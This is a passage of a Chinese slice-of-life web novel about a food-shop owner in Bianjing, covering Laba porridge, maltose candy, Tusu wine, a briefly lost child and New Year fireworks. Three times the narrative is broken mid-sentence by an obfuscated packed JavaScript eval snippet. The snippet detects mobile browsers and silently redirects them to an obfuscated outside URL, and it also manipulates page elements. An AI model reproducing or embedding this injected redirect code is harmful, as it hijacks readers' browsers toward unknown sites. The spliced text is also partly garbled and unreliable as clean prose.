店里没人，陆琼也挨着火炉坐，伸出手掌来取暖：“去找魏盼了，许是要过一阵子才能来。” 说来便来，陆萱跟魏盼两人拉着手跑进屋子，一边嗷嗷叫：“这雪咬人！把我冻坏了” 然后一股脑地钻到灶房里，陆萱就差把整个身子贴到灶口，好一会儿才肯笑着道：“真暖和。” 整个屋子都充斥着炭火味，不难闻，还叫人觉得安心。 前段时日谢府迎来喜事，陆琼也无需再去送吃食，便能专心待在铺子里。 今日还是腊八，家家户户都在准备腊八粥，出门的百姓便更少了。 不过陆琼还是打算熬腊八粥，将提前泡好的大米、小米、豆子、红枣、莲子、核桃、桂圆放到锅里，添一勺水，放上盖，只需等一阵子便好。 她坐在灶火前，有些无聊地撑着下巴，眼皮渐渐开始打架，便不知不觉陷入睡意。 梦里有一男一女，虽看不清脸，可手边也放着一碗腊八粥，好似在对着她温和地笑…… “阿姐，粥要糊啦！” 陆萱的惊呼把她从梦中拉回来，梦里的一切也瞬间忘记，只记得一碗腊八粥。 杨姐儿也赶来，把柴都取出来，顺手舀了水浇灭，魏盼也手忙脚乱地用木匕搅拌粥底，好在没有真的糊了。 陆琼这才彻底清醒，接过魏盼手里的木匕，顺着方才的角度继续拌匀，各种豆子、谷子早已软烂，混杂着各种色调，红豆的暗红、红枣的深红、莲子的乳白、桂圆的琥珀色…… 盛一份到碗中，香气愈发浓郁，谷香、果香混杂在一起，散发出一股甜腻的香味，热气腾腾，闻起来让人觉得暖和，带走冬日的寒气。 哐的一声放在桌上，恰好外头的雪也停了。 陆琼几人围着火炉，边烤火边吃腊八粥，口感软糯绵密，吃到红枣是甜的，吃到核桃又是脆的，大家都安静吃着，默契地没有闲聊。 直到断疤的一声吆喝，打破了陆记的沉寂。 “饿了，饿死我了……总算是能吃上，都怪阿狼，做的腊八粥豆子都不熟，别给我肚子吃坏了！” 断疤先进来，紧接着的是做错事低头不语的阿狼，刘善则镇定许多，其余人虽不像断疤那般莽撞，却也藏不住笑，终于不用吃阿狼做的“黑糊粥”了。 听他这么一说，陆琼便也知道，阿狼想给大伙做腊八粥，谁知没煮熟？ 这当口断疤已经领人坐在正中的位子，整个店里也就只有他们几个，别人都赶着回家吃腊八粥呢！ “腊八粥来了！”杨姐儿手里捧着一个大托盘，上边刚好摆着两碗腊八粥，陆琼也紧随其后，挨个递上。 她刚来，断疤便抢着夺下碗，还烫着手，也顾不得这般多，拿起勺子舀一口到嘴里，猛地拍了下大腿，语气激动极了：“这才叫腊八粥！又香又甜，吃得我想到野外跑两圈！而阿狼今早做的那是味同嚼蜡……” 阿狼摸不着头脑，眼神清澈：“哪有蜡？” 坐他旁边的镖师笑他：“说你做的粥跟蜡一样难吃。” 本来反应淡淡的刘善听了这话却皱起眉头，几次欲言又止，陆琼总感觉她看懂了。 味同嚼蜡……用在这好似也不无道理。 除了腊八粥，还上了些荤菜，最后来几份山药糕，几壶酒，一行人便聊起来。 阿狼被逼着喝了点酒，抱着吃剩的碗哭起来，眼泪连着鼻涕落下来，这场面看着狼狈极了。 “想吃阿奶做的腊八粥了！” 断疤砰的把酒杯放下，大力地拍拍他的背，嗓子洪亮：“男子汉大丈夫，不准掉眼泪！” 阿狼擦了一行眼泪，抬头看他一眼：“难不成你就不想你妹妹？” 断疤也愣住，好似断线的木偶，忽地又活过来，灌了一口温酒，才抱着酒壶哭嚎：“可怜的巧儿，一年到头见不着几回，一个人在家可怎么办，也不知瘦了还是胖了，来年可要挑个好夫婿……” 他们在哭，杨姐儿也在灶房处说闲话，悄悄瞥一眼，又迅速收回视线，压低嗓音生怕他们听见：“他们怕不是受刺激了？” 耳力好的刘善也皱了眉头，这下终于忍无可忍，左右手各提着两人的衣襟，带着怒意：“你们再胡闹下去，就出去。” 阿狼被训了，即便还醉着，也像只鹌鹑一样不敢动了。 断疤比刘善壮一点，打了个饱嗝，最后才一脸哀怨望着刘善：“我家巧儿断不能找你这样的夫婿。” 等陆记安静下来，也陆续来了新的食客，点了一份热乎乎的梅花汤饼。 断疤手里拿着一份山药糕，在他大掌的衬托下，糕点显得更加小巧精致，刘善吃完一块，他便连着往嘴里放了两三块，嚼得嘴边都掉了酥。 他喝了口酒润嗓子：“陆掌柜，你这还有汤饼呢？” 陆琼点头，笑着应付他：“可是也想来一份？” 断疤难得摇头：“今日吃的够多了。” 阿狼也没点眼色：“隔壁好似就有一家汤饼店，叫三娘什么来着，谁家好吃些？” 断疤拍桌子，一口咬定：“那定时陆掌柜的好吃，我看隔壁的就是……” 恰好施三娘走进来，披了一件云锦雪白斗篷，发髻上落了些雪花，拎着一份食盒，笑得明媚：“隔壁怎么了？” 断疤看愣了，呆呆道：“隔壁做的汤饼定是比这儿的好吃。” 这话引得众人发笑，施三娘也捂嘴笑，笑够了才提着食盒到陆琼面前：“方才做的腊八粥，我知道你也做了，可这是我做的，是不同的。” 陆琼便收下，也回了一份自己做的腊八粥，像是在过年互换礼品的亲戚。 明天要拜灶王爷，她们便在夜里做麦芽糖。 早几天便将麦子泡水，如今也发芽了，陆萱跟魏盼二人合力把发芽的麦子抬到灶台上，下面还滴着水，把石砖都染深色了。 糯米在白天也泡了几个时辰，杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162662|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐儿沥净水，便倒进锅里，加柴至大火煮烂，直到软糯黏腻了，才把糯米盛出来。 陆琼则把麦芽都拔出来，捣碎、捣烂，汁水也不停流，跟熟糯米混在一起，加水搅匀，静置一夜。 冬日天色较快暗下来，她们便比以前早回去，几人簇成一团，互相取着暖。 先把魏盼送回家，刚要离开，便听见里边传来争吵声，许是魏荣又做什么了…… 陆萱欲言又止，陆琼却摇头示意她不要出声，不然又是一场风波。 …… 祭灶的糖瓜粘要用到麦芽糖，昨夜的麦芽糯米也发酵好，用纱布过滤，流下琥珀色的糖汁，不过还尚未成型，算不上是麦芽糖。 糖汁下锅煮，一直熬，陆琼也一边搅拌着，不一会儿，热气也顺着旋转的水面往上浮，连带着四周的空气也跟着香甜。 陆萱也不知从哪蹦出来，忽地用手圈住她的腰，整个人都贴着她的背，还蹭了蹭。 糖汁也熬浓稠了，陆琼用一筷子沾了点糖，刚伸出来便凝成型：“今天怎么了？” 魏盼今日也没来，平日这会儿两人早就手牵手躲在一处闲聊了。 而陆萱支支吾吾半天，只说是想吃糖瓜粘了。 “若想尽快吃，你可要出点力，帮我把木模拿来。” 陆萱便乖乖照做。 麦芽糖凉了些，倒入模具里，撒些芝麻、桃仁，最后切成长条。 陆琼先给自己切了一小块，还有些余温。 因着麦芽糖熬久了，凉了以后便是脆的，而糯米又是软的，便是外脆内软，甜而不腻。 剩下的便先要去祭灶，摆在灶台上，杨姐儿对着灶嘀咕：“灶王爷，保佑我们事事顺意……” 糖瓜粘，就是要用甜食来粘主灶王爷的嘴，好叫他多说些好话。 陆萱也跟着学，对着灶台一脸认真：“灶王爷，保佑我每天都有好吃的。” 陆琼站在二人身后，眼角发酸，只希望接下来的日子平安顺遂。 腊月便在扫房子、冻豆腐中过去。 后来金娘也不在龙津桥摆摊，改去绣坊做绣娘了。虽比卖豆腐挣得多，却也没有多少空闲的时候，不过霜姐儿也更为懂事，待在金娘身边也不吵不闹。 一年便也在打打闹闹中到了尾声，转眼还有几日便是春节，陆琼也给杨姐儿休了假。 这日便带着陆萱到东街置办年货，还遇上了杜哉二人，也赶着买年货。 杜哉在选鱼，挑了一条最为肥美的，这鱼他一眼便是相中，鳃还是鲜红的，定是新鲜。 “就要这条！” 而杜延却离得远，想着他再过两月要去考童试，定要抓紧学习，便指了别处：“书斋还有些不错的书，你还没读过。” 陆琼本想上前打个照面，谁知陆萱听到读书二字，便立马拉着人跑了…… 最后兜兜转转，买了些糖、蜜饯、一些药材，还到官家买了不少酒曲。不过春节放开后，买酒曲的人也比往日多上百倍，陆琼排了半天才轮上。 好在两人带了点亲手做的葱油饼，这才没在晌午时饿肚子，旁人没那般机灵，便只能望眼欲穿，揉着肚子咽口水…… 54. 屠苏酒 自打裴玉开了家木作坊，生意也愈加好，他也常常要外出。今儿便早早起来熬了一锅红豆粥，又怕来不及顺两个枣便出门。 而杨三娘还在卧房里睡着，连裴丫醒了也不知。 住在镇安坊旁的陆琼也在此时醒来，却不想离开被窝半分，可还要赶着做屠苏酒，便带着些怨念起来。 掀开被窝，冷气也钻了进来，冻得她手脚不利索，穿在身上的棉衣也冰冷刺骨，好似刚从冰窖里拿出来一样，不过捂多几刻也就热了。 再过六七日就是春节，是以最迟今日就得做屠苏酒，不然就赶不上祭酒。 这样一来，新买的酒曲也用不上，不过往后也可以用来酿别的酒。 陆琼便也不操心这事，到灶房里，从一堆坛子里找出腌萝卜，这萝卜已经析出澄澈透亮的汁水来，冒着一股鲜香的酸味，闻得她忍不住生津。 便夹了几筷子到碗中，当时切成大块，所以腌得久了些，不过如今全都腌熟了，还腌透了，也不会有生萝卜独有的怪味。 先前腌的时候，还加了不少糖，现下吃起来便是酸甜可口。 陆琼吃完一小块，便忍不住又再尝一块，脆脆的，也爽口。还带着一点点辛味，就连腌出的汁水也有股甜味，加上天冷吃起来还觉得冰凉。 不知不觉便把一小碗都吃净，果真还是太馋了，所幸做得多，还能吃上小一月！ 放下碗，也把坛子封上，她便到灶台去，用面粉加水调了个面糊，摊在锅上，算是煎了个饼，最后还撒上芝麻，这会儿陆萱也闻着味赶来。 “阿姐做的饼香到我在梦里都闻得见……” 陆琼指了下她的鼻尖，憋着笑：“我看呀，油嘴滑舌倒是真！” 陆萱也不再闹，却贴着她走，雪儿也跟着她们打转，尾巴不停甩着。 “吃完可就要帮着干活，今天要把新买的酒都用了。” 陆萱瞪大了眼，退了几步远：“全都做完？那岂不是要做一天……” 嘴里埋怨着，可手下却毫不迟疑，啃完煎饼，又匆匆夹了几块腌萝卜，便跟着做屠苏酒去了。 屠苏酒最为重要的除了酒，便是药材，大黄、白术、桂枝乌头……按照比例配好，全都装到干净的纱布里，扎紧口，然后放到酒坛里。 陆琼选的是烈酒，只是闻着便受不住，陆萱也在一旁掩鼻，生怕被酒味呛到。 两人合力把酒倒入新酒坛里，直到没过药材，酒也快封顶了，最后做了两小坛，还有一坛是金娘托她帮忙做的。 一共要泡上好几日，期间就放在阴凉处便好。 陆萱抱着酒坛出门，陆琼便跟在身后，两人说着元日那天的事。换新衣裳、守岁、贴窗花……陆萱还约了魏盼去逛庙会，据说夜里还有烟花看。 走到相国寺，陆萱停下来：“那阿姐呢？不想出去？元日的灯会也比往常盛大，说不准……” 陆琼侧头，笑着问她：“说不准什么？” 而陆萱却神神秘秘，最后什么也没说，看着她笑。 金娘还住在通济坊，先前走惯了不觉得有什么不便，今儿再走，却觉得过道太窄，两人并着走遍容不下旁人。 路过裴家，倒是冷清，离了杨三娘，这里即便还住着人也觉得有些薄凉。 “金娘！” 陆琼敲着门叫，陆萱也在一旁乖乖抱着酒坛子，用尽全力，就怕失手把坛子摔了。 许是人在院子里，她们刚喊人，门便开了，是金娘的郎君开的。见是陆琼，柳海岩也把门再开得大些，几人打声招呼便找金娘去。 进到屋里，便见金娘在缝荷包，身边的小竹篮里已经放了三四个，小巧精致，选的布料摸起来也顺滑。 陆琼走近了看，是个“福”字。 写字好的人，缝的字不一定美，毕竟刺绣是一门要功夫的手艺，而金娘这段时日在绣坊待久了，手艺也精湛不少。 金娘也放下手中的活，笑着把人拉过来：“你总算把酒做好了？” 陆琼也是理直气壮，反以为荣，笑着：“这不是忙着置办年货，铺子里也有许多琐事要忙，这几日还不能歇业……” 金娘嗔她一眼，还没来得及开口，外头便传来一阵声响，有人在哭，还伴随有争吵声。 也顾不得谈“偷懒”的事，二人对上视线便冲出院子去。 巷子处裴家的门紧闭着，可杨三娘却瘫在地上，捂着胸口不停哭，一边拍门：“丫丫病了不看一眼，人不见了也不见你着急……” 大门依旧闭着，唯有门上的铺首衔环跟着轻叩几下。 门终于大发慈悲地开了，一袭深色长袍的郎君从里走出来，却不愿离开院子一步，还带着一丝不耐烦：“裴丫不见了，你找我有何用？有这闲工夫不如去报官……” 杨三娘本以为他是良心发现，却没想到他是铁石心肠。 一时也愣住了，方才流下的泪也凝在脸上，突然觉得眼前的人有些陌生，好似从未认识过。 他好像只是来打发她走，丢下这句话，大门也再次被关上。 砰的一声。 陆琼二人这时也才赶来，想要将她从地上扶起来，杨三娘却固执地自己站起来。 往常觉得杨三娘性子不好，今日却觉得她有些可怜。 金娘走近了些，怕惊动了她，便轻声道：“三娘，若是累了，可要到我屋里坐会儿？” 杨三娘这才抬起头，木讷的眼神也才有了点光，自顾自走进了今年家。 原是今早裴丫不见了，三娘找遍了也没找着，裴玉如今也在汴京四处问人，她便想着找裴怀仁一块找，谁想他会是这般态度。 陆琼端来一杯温水，放到杨三娘手中，不小心碰到她冰凉的手，怕是在外冻了许久。 可杨三娘却跟没事人一般，陆琼也是头次见她这样。 她向来都是得意的、嗓音尖细的、被惹恼了还是骂回去的……不该是现在这般。 陆萱在一旁瞧了也觉得难受，方才就应该往裴家扔块石头，把他砸死才解气。 所幸她只是在心里想，不然叫陆琼听见了，也要吓一大跳。 杨三娘也不想多提那人一个字，只是摩挲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164369|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着手中烫人的杯壁，喃喃道：“若是下雪了，丫丫找不到住的地方……” “都怪我不长记性，那天才险些丢过一回。” 陆琼也没想到她竟一语成谶了，可若是傍晚前还找不回来，怕是凶多吉少。 可她不能当面对着杨三娘说这般的话，便握住三娘的手，安慰她：“定会没事的，我们也一块帮忙寻人。” 金娘也点头，陆萱虽没回话，却也是默认了。 见她们都帮着自己，杨三娘才觉得心里堵着的那口气顺下来，含着泪勉强笑出来。 金娘本想出动全家一起，却被陆琼劝阻了：“你就在家歇着，还要看着霜姐儿。” 最后还是放不下，她便叫柳海岩一块找，自己留在家中，同时也帮忙盯着裴家。 …… 龙津桥处飘着小雪，走在街上便能感到刺骨的凉意，即便如此，摊贩依旧推着车，一边叫卖，一边搓着手取暖。 “炒栗子、煨芋头……一份十文……” 附近便是一家客栈，足有三楼高，临近傍晚天色也渐渐暗下，小厮便早早把灯点上。 天冷歇脚的人也多，店里忙不过来，掌柜便对着外头的小厮道：“阿木，这些吃得你给三楼的客官端上去。” 扫雪的小厮立刻“唉”一声应下，便放下扫帚，端起一盘糖瓜、一份年糕上去。阿木自小身子板瘦小，干不了粗活，不过掌柜见他手脚灵活就留了下来。 不多时，他便到了三楼，楼梯右转便是客房，连着好几间住的都是镖师。 平日他们除了吵了点，被旁的客官投诉过，给钱却很大方，阿木也被打赏过一回，所以对这种废腿的活也不排斥。 只是今日有些不同，镖师们不喝酒，倒是点起甜食来，虽有些不解，阿木也还是安分地把糖瓜端进去。 刚放下盘子，一个钱袋便被抛过来，听这声响，有不少铜板！ 阿木笑着点头：“各位爷慢用！” 待他走后，屋子里又陷入一片沉寂。 过了会儿，刘善才皱着眉，细细打量眼前在吃糖瓜的孩童，有些无奈：“这人是从哪来的？” 断疤在一旁投喂，见吃完了糖瓜，又递上年糕，傻笑着：“我在街上捡来的。” “捡来的？” 刘善眉心一跳，许久也未能平复，吐出一口浊气：“你叫人爹娘怎么办？” 许是他平素就面无表情惯了，面对小孩也是这般，一时声音大了些，竟把人给吓到了。 裴丫眉头一皱，眼里就要溢出泪水，嘴也瘪着，委屈死了。 断疤恶狠狠地瞪一眼刘善，扭头又对着裴丫笑：“多吃些，若是饿了，我们点份羊腿吃，这客栈住得一般，但是羊腿不错，撒上胡椒、盐、料酒，放火里烤，香得流油……” 他刚说完，屋子里便响起几道吞咽声，就连裴丫也张着嘴，眼见口水就要流下来。 刘善见他们这副馋鬼样，有些不忍直视，便摆了手，随他们去。 断疤也看懂他意思，立即把方才的小厮叫回来，今儿要吃羊腿！ 55. 过春节 客栈里的羊腿是蒙古羊与湖羊的杂交品种，一条成年羊腿有四五斤重，足有成人小臂那般长。 庖丁把去腥的羊腿摔在大木盆里，哐当一声，紧实的羊腿肉便微微弹了弹。随后抓了一小撮淡黄的粉末，徐徐撒下来，均匀落在羊腿上，一股辛香便在四周散开来。 “酒！”庖丁伸出手来。 阿木应下，便赶忙到一旁取出酒坛里装的黄酒，混着粗盐，跟庖丁一同擦在羊腿上。方才已经特意嘱咐过是给小儿吃的，他便放少了许多酒，只是用来提味。 最后用银签扎孔，往里掺汴京特有的葱白泥、蜂蜜水，腌足半个时辰。 两人合力把腌至酱色的羊腿架到转龙架上。庖丁被火烤得冒汗，皱着眉淋一勺卤汁，下边的火龙直直往上窜，“滋啦”一声，羊腿烧焦处便开始嗞嗞冒油，肉香也跟着钻入二人鼻尖。 庖丁早已习惯这般场面，将熟透的羊腿卸下来，阿木也在一旁不停吞口水。 给庖丁端盘子这活不好做，阿木只能按耐住快到蹦出来的食欲，小心翼翼地将冒着热气、流着油脂的羊腿送到三楼去。 “各位爷！旋炙羊腿来了！” 门轰的被打开，镖师伸出一只青筋明显的手，接过大盘子，门便合上了。 阿木没来得及叫人，看着紧闭的门，喃喃道：“还以为能多赏点铜板子……” 屋内不仅有整条烤羊腿，还上了些果盘、紫苏熟水、梅子饮。 裴丫饿了一日，方才只吃过几块糖瓜，根本不顶饱，可她也不敢开口，是以从被断疤捡回来至今，一句话也没说过。 见她只会睁着大眼，一眨一眨的，众人以为裴丫是个哑巴，都可怜她，把好吃的、好玩的都拿给她。 断疤还把最爱的刻刀拿出来，锋利刀尖对准裴丫，险些将人再次吓哭。好在烤好的羊腿也适时呈上来，这才将人安抚好。 镖师有各种铁制刀具，可切羊腿还是要用竹刀，这样才能留住味道，不损肉鲜。 念及裴丫在，断疤也难得没点酒，改喝紫苏饮，猛地灌了几口，砰的放在桌上，嗤一声：“这饮子太淡了，不得劲！” 刘善睨他一眼，视线又回到羊腿上，用竹刀割下一小块到碗里，不紧不慢道：“若想喝酒，这羊腿也别吃了。” 说完便将装着羊腿片的碗递给裴丫，顺带盛了一碗熟水。 裴丫便乖乖点头，用手抓来吃，外皮焦脆，肉质鲜嫩多汁，香味入喉，吃得她忍不住轻轻晃脑袋。 断疤见她吃得欢，也憋回欲说的话，却暗自下决心，下次定要在刘善这找回场子来！ 解决完口腹之欲，他们才想起一个难题。 裴丫今夜睡哪？ 他们本来是想报官的，可夜里不便，还得核验身份，这样一来得耽误不少时候，便想着等到明日再说。 最后断疤站出来，笑着拍胸脯：“小时候便是由我哄着巧儿睡的……该由我来看着。” 刘善双手抱在胸前，好似不大信任他，其余人也是相同的态度。 断疤急了，不停嚷嚷，叫裴丫吵得捂耳朵，不自觉远离了他，靠向刘善那边。 最后还是刘善给裴丫新找了间客房，却整晚未合眼，一直守在床榻边。 …… 陆琼在汴京到处寻人，熬到后半夜也实在撑不住，且夜里飘起大雪，天色也暗，根本见不着眼前是路，只能回家去。 待天一亮，拖着疲倦的身子煎了一份饼，便又匆匆出门去。 杨三娘却着了凉，被他们劝在家歇会儿，金娘和承担起照顾金娘的重任。 二人本来还有些嫌隙，可经过一夜，该厌恶的也忘了，该恨的也淡了，唯有一点情谊生在心里。怕她想不开，金娘也不停安慰，还跟她聊起丫丫过往的事，那般乖、那般讨人喜。 还有五六日过年节，陆记却只有杨姐儿、陆萱守着，不过也忙得过来，还有闲时担心起裴丫来。 杨姐儿也见过丫丫几面，现下也有几分忧伤：“外头冰天雪地，就是大人也禁不住这般折腾……” 正说着，陆琼也赶回店里，身上的碧青棉衣被染湿了，还带来一股冷气。 “如何了？”杨姐儿端来一碗热饮子，还加了点姜片，散寒取暖。 陆萱也一脸期盼地望着她，陆琼却无声摇头，随后店里也陷入寂静，唯有几声微不可闻的轻叹。报官也无用，节前官府正忙着，没余力受理此事。 “陆掌柜！” 循声望去，断疤带着一行人来陆记，身上还抱着个……是裴丫? 陆琼眨眨眼，真没看错，就是裴丫！顾不得其他，立即上前去，再次确认这小孩的脸。 “丫丫怎会在你这？” 断疤本还高兴着，想着要吃上热乎乎的吃食，谁知一来便被人质问，面色也顿时不好。 察觉到语气不对，陆琼也定下心来，将来龙去脉问清楚，得知裴丫昨日稳妥，这才放下心来。 随后叫杨姐儿热一锅粥，呈上糕点、米浆，而陆萱也赶去寻杨三娘了。 许是见到熟悉的人，裴丫终于笑了，陆琼问话也愿意出声。 拿来一份炒栗子，陆琼顺着开口剥壳，“咔嚓”一声，便露出琥珀色的栗仁，香得一旁的断疤直流口水。 她递到裴丫面前：“丫丫，你昨日怎么从家里跑出去的？” 裴丫将栗子握在手上，不太烫，还有炭火的余热，双眼弯成月牙：“找哥哥……” 她一张口，断疤就目瞪口呆，来回踱步，最后忍不住坐在裴丫面前：“你不是哑巴啊？” 见他来，裴丫又恢复缄默的状态，埋头啃栗仁。 陆琼也没好气瞥一眼断疤：“你才是哑巴，她只是在生人面前不好说话。” “成，”断疤也无话可说，哀怨地站到一旁嘀咕，“那是谁吃了我近半月的分红……” 待他们用过午食，杨三娘也赶来，看起来面色好了许多。见到裴丫，她立即扑上去，还险些被绊倒，好在两人都没事，便抱着人也不撒手。 感受到怀里的温度，杨三娘这才怕了，不停地道谢：“好在老天爷保佑……” 断疤嗤一声：“自己没看好人……再说分明是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178192|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们找的，关那破老天什么事？” 这话当着众人的面说，也没控制声量，在场的人都听入耳，刘善微一皱眉，却还是什么都没说。 杨三娘身子顿住，许是不习惯，直到离开前也未跟他们说过话，只是将身上的余钱都留在桌上。 …… 时值春节，家家户户都洋溢着节日氛围。 院子里传来捶打声，陆萱双手握着木槌，声音清脆：“这年糕何时才好？” 陆琼手里也握着相同的木槌，弯腰用指腹压了压，还有不少米粒：“再多打几下，打光滑、打粘稠，才好做年糕。” 元日除了屠苏祭酒，最费神的便是打年糕，为了吃上亲手做的年糕，她们特意买了个石臼，比陆记压山药泥的还要大上许多，也更重。 陆萱刚打几下，便又换成陆琼打，随后两人歇了一阵子，才继续捶打。这年糕称不上是光滑，却是有弹性，二人都默契地决定到此为止。 打好的年糕还不停呼着热气，陆琼忍着烫意，取出年糕来，揉成长条，切成一块块。年糕或炸、或煎、或蒸，味道都好极。 等放凉的时候，她们还搬凳子到旁边的枣树挂几盏灯笼，只等夜里点着。 “雪儿别跑……给你带上。”陆萱还逼着雪儿戴上她做的“围巾”，一人一狗便在院子里追逐起来。 锅里刷油，陆琼把切成片的年糕放上去，嗞嗞响，用木铲压一压，声音更响了，还生出烟来。 翻面，便见年糕带点金黄，再冒多几次烟，出几次响声，她便盛到盘中。 出去便见陆萱两边发髻系了红绳，眉心画了一个红点，身上穿着藕粉的棉衣，像精致的小人。 “可别弄脏新衣了！”见陆萱去端刚做好的东坡肉，陆琼眉心一跳。 陆萱却着急忙慌，刚放下盘子又钻进灶房：“我还约了魏盼，待会州桥有灯会……” 许是感受到年节的氛围，雪儿也跟着叫两声：“汪汪汪……” 陆琼便笑着摸摸它的背。 二人吃不完太多菜，便只做了东坡肉、炙羊肉、煎年糕，几道素菜，桌上还摆着一壶酒、几颗枣、一小盘栗子。 屠苏酒药味重，陆琼倒了两小杯，跟陆萱分着喝，许是加了糖的缘故，还带着甜味，正好与草药的辛味中和，喝完便觉得身子暖起来。 不过陆萱喝不惯酒，猛地灌进去，便被呛到了：“这酒好烈……” 陆琼赶忙倒了杯水，叫她缓缓，再夹了块年糕，蘸了糖吃。打的年糕更有韧劲，还有一股粳米的香味，口感软糯，也不粘牙。 待吃过晚食，陆萱把金娘做的荷包塞进腰带里，匆匆出门。 陆琼一人闲着，便拿着一根蜡烛，挨个把树上的灯笼点上，泛着淡黄的光，照亮了清秀的脸庞。 “琼姐儿！” 是金娘的声音，这个时候来可是有什么事？ 陆琼隔着院子应一声，握着蜡烛便去开门，只见金娘跟霜姐儿站在外头，笑吟吟地看着她。 “……听说今夜相国寺、汴河都要放烟花，琼姐儿，你去不？” 56. 烟花会 汴河处川流不息，桥上、岸边全是围观的百姓，水面倒影着清冷的月光，画舫上琵琶声、吟诗声不断。 常年做豆腐、推磨子，叫金娘练出好臂力，是以今日能一手抱着霜姐儿，一手拉着陆琼往岸边挤。 好容易才能挨着汴河，她也能稍微歇会儿，随后塞给霜姐儿一块糖瓜粘，指着游过州桥的画舫：“这画舫好，我们待会也坐一回。” 四周皆是人，陆琼需提防与旁人装上，随口应付着：“成。” 可烟花会也不知几时才开始，一行人也从起初的兴奋到现在的无趣。 霜姐儿的糖瓜粘都吃完了，金娘怕她耐不住性子，便又掏出一块胶牙饧：“你慢些吃，这可是最后一块了。” 霜姐儿可不懂这些道理，塞进嘴里便嚼起来。胶牙饧比糖瓜粘还要粘牙，这是因为放的麦芽糖比糖瓜粘多。 “牙掉了……” 霜姐儿手里的胶牙饧还嵌进去一颗小牙，嘴也微张着，借着月光仔细一瞧，是下边的前牙少了一颗。 金娘立即笑起来，将那前牙用指尖捏出来，打量几下才道：“新年第一天，霜姐儿牙也掉了，可是吉兆，来年定要顺风顺水……” 说完便放到袖口擦擦，乐呵地放进钱袋里，收紧口，才仔细塞进腰间。 陆琼也为霜姐儿高兴，毕竟这是她第一次换牙，可是人生大事，便摸摸她的头，霜姐儿也露着牙傻乐。 因着没出血，霜姐儿也不觉得痛，便继续吃着胶牙饧，只是更加小心了，就怕再掉一颗牙。 正巧有一艘画舫靠岸，一部分客人下船，金娘也带着霜姐儿她们靠近画舫。 汴河的画舫皆不大，船夫便只在岸边搭了个跳板，陆琼提着裙摆，小心跨步，噔一声便踩在船板上。 画舫沿着汴河游览，若途中要下船，需先付钱，一趟要二十文。 随着画舫缓缓离岸，船上之人也能感受到水波在轻轻拍打着船身，陆琼挨着朱红色围栏，欣赏汴河的风光。 起初霜姐儿还有劲头，只过了半刻就觉得没趣，金娘便把人带进船舱，里边铺有坐垫，桌上也摆着茶水、点心。 陆琼一人在船篷外吹着风，风轻轻拂过水面，带来丝丝凉意，叫她清醒些。 忽地画舫上传来一阵骚动，四周行人推攘起来，她也被挤向别处，稍不注意便撞到旁人。 陆琼被人扶着双臂，等站稳了才看清来人，是谢洵。汴河波光粼粼，光影也照在他的脸上，有些不真切。 这时画舫轻轻晃了下，陆琼的心也跟着一荡。 一声轻响划过夜空，紧接着绚烂的烟花在头顶绽开，星星烟火照亮了整条汴河，谢洵的眼里也映着烟花的余晖。 行人还在往这挤，他也只能紧贴着陆琼，低头对上她视线：“你身后在放烟花。” 陆琼这才转过身去，又一朵烟花绽放，随着轰鸣声在耳边响起，她的心也跟着悸动。 随后便下船了，却不知烟花何时结束的。 画舫的客人皆上岸，岸边等候许久的人也如愿上船。 待四周清净了，陆琼才发觉金娘跟霜姐儿都不见了，许是有事先走了。 正好跟谢洵顺路，便一块走回去。 “糖画……画玉兔、画桃花……一份十文。” 糖画摊前围满小孩，糖画摊主手握一木匕，手腕微微倾斜，勺子里的糖浆便滴出来，在石板上轻盈流转，一只老虎便被画出来。 小女童伸出手接过糖画，给了摊主几个铜板，便笑着地离开，陆琼看着也想起她小时候的样子。 见她盯着糖画摊一动不动，谢洵以为她是想要，便朝着糖画摊走去。 陆琼也只好跟过去，便听见一堆小孩对着他道：“大人也会卖糖画？” 本以为谢洵会生气，却不想他嘴角上扬，手里还握着摊主找剩的几个铜板：“大人也是从孩童过来的，也会想念幼时尝过的滋味。” “可我爹说过，男子长大后，就不能再像小时候那般。” 谢洵低头看向出声的小男孩：“你爹说的不对，不管是长大还是幼时，都不该拘束，应当……” 见他好似要跟一群小孩争论起来，陆琼有些无奈。加上二人在这太过瞩目，已经有不少行人朝这看，便赶紧把人拉走，连糖画也来不及拿。 等到了较为清冷的地方，陆琼才抬头看向谢洵：“看不出谢郎还有这般孩子气的时候，竟然跟孩童讲理！” 谢洵负手，跟着她的步子走，叹气：“只是可惜了糖画，还没来得及做。” 许是惦记着“未出世”的糖画，等到了卖团子的摊位，陆琼便忍不住买了份澄沙团子，最后也在镇安坊分别。 她回去时，便见树下挂的灯笼尚未灭，还发着光，照亮了整个院子。 